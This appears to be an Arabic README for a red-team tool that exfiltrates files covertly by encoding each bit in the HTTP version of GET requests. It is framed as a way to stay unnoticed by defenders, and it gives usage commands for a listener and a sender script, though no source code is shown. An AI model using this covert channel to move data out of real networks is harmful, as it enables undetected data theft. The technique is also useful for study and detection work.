
تسريب الملفات باستخدام إصدار بروتوكول HTTP ("HTTP/1.0" هو 0 و "HTTP/1.1" هو 1)
استخدم إصدار بروتوكول HTTP لإرسال ملف بتةً بتة ("HTTP/1.0" تعني 0 و"HTTP/1.1" تعني 1). يستخدم طلبات GET، لذلك سيرى الفريق الأزرق فقط الطلبات الموجهة إلى عنوان IP الخاص بك. ومع ذلك، يستغرق إرسال الملفات الكبيرة وقتًا طويلاً، فعلى سبيل المثال يحتاج إلى ساعة واحدة لإرسال 200 كيلوبايت، وسيكون عدد الطلبات مرتفعًا جدًا (8 أضعاف عدد بايتات الملف).

لتشغيل المستمع استخدم listener.py مع وسيطة اختيارية واحدة: المنفذ الذي سيستمع عليه.
python3 listener.py [PORT]
مثال:
python3 listener.py 8080
لإرسال ملف استخدم sender.py مع وسيطتين إجباريتين: مسار الملف وعنوان URL للمستمع؛ ووسيطة اختيارية واحدة: اسم الملف الذي سيتم إنشاؤه عن بعد (إذا لم تُستخدم، فيؤخذ اسم ملف الإدخال).
python3 sender.py -u URL -i INPUTFILE [-o OUTPUTFILE]
مثال:
python3 sender.py -u "http://127.0.0.1:8080" -i test.txt -o updated_test.txt
أولاً، يتم إرسال الملف:

إذا تم تعيين المتغير debug على True (وهو الإعداد الافتراضي)، يمكنك رؤية القيم الثنائية في رسائل سجل المستمع:

يتم إنشاء الملف الجديد بمحتوى ملف الإدخال:

أعتقد (لست متأكدًا) أنني قرأت لشخص ما على تويتر ادعى استخدام هذا لتسريب البيانات وأعجبتني الفكرة، إذا كنت أنت ذلك الشخص فأخبرني.